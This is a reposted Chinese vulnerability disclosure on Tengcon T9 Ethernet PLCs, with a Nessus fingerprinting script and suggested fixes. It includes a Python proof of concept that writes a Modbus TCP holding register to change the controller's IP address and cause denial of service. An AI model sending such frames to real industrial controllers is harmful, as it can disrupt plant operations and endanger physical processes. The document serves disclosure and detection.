记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Tengcon T9系列 以太网PLC-Denial Of Service

2014-06-10 18:55

官方说明书:http://www.tengcon.com/download/T9_Hardware_Manual_V01.201106.rar



传统串口Modbus虽然有从站地址作为通讯唯一认证但是也只有1-255,而Modbus Tcp虽然定义了从站地址字段,但是通讯时可以被忽略,个人感觉把运行、停止、IP配置、串口配置等设置信息直接存放在可直接修改的HR寄存器是不妥的做法,况且此系列PLC还有以太网接口。



漏洞证明:

例如修改第82个HR寄存器第为254,操作这些寄存器可即时修改PLC IP地址,造成拒绝服务

import sys

import socket



test = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

test.connect(('127.0.0.1', 502))

test.send('\x00\x00\x00\x00\x00\x06\x01\x06\x00\x52\x00\xfe')

str = repr(test.recv(1024))

print str



腾控T9系列PLC指纹信息:

第一二个HR寄存器均为55aa,可以作为设备识别的手段

Nessus脚本代码片段

#

# start~

#

include("revisions-lib.inc");

include("misc_func.inc");



###TCP###

#定义端口变量

port=502;

#请填充"端口号"字段



#辨别端口状态

if(!(get_tcp_port_state(port)))exit(0);



#建立套接字

soc = open_sock_tcp(port);

if(soc)

{

#发送数据

send(socket:soc, data:raw_string(0x00,0x00,0x00,0x00,0x00,

0x06,0x01,0x03,0x00,0x01,

0x00,0x01));

#请填充"发送数据内容"字段



#接收数据

r = recv(socket:soc, length:1024);

#请填充"接收字段长度"字段

if(r == raw_string(0x00,0x00,0x00,0x00,0x00,

0x05,0x01,0x03,0x01,

0x55,0xaa))

{

report = "Tengcon T9 PLC Modbus TCP is Runing!";

security_warning(port:port,data:report);

}

#关闭套接字security_warning

###TCP###

}

修复方案:

增加工业协议过滤设备例如工业防火墙

隐藏敏感配置信息

知识来源: www.wooyun.org/bugs/wooyun-2014-058494

阅读:68788 | 评论:1 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Tengcon T9系列 以太网PLC-Denial Of Service”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云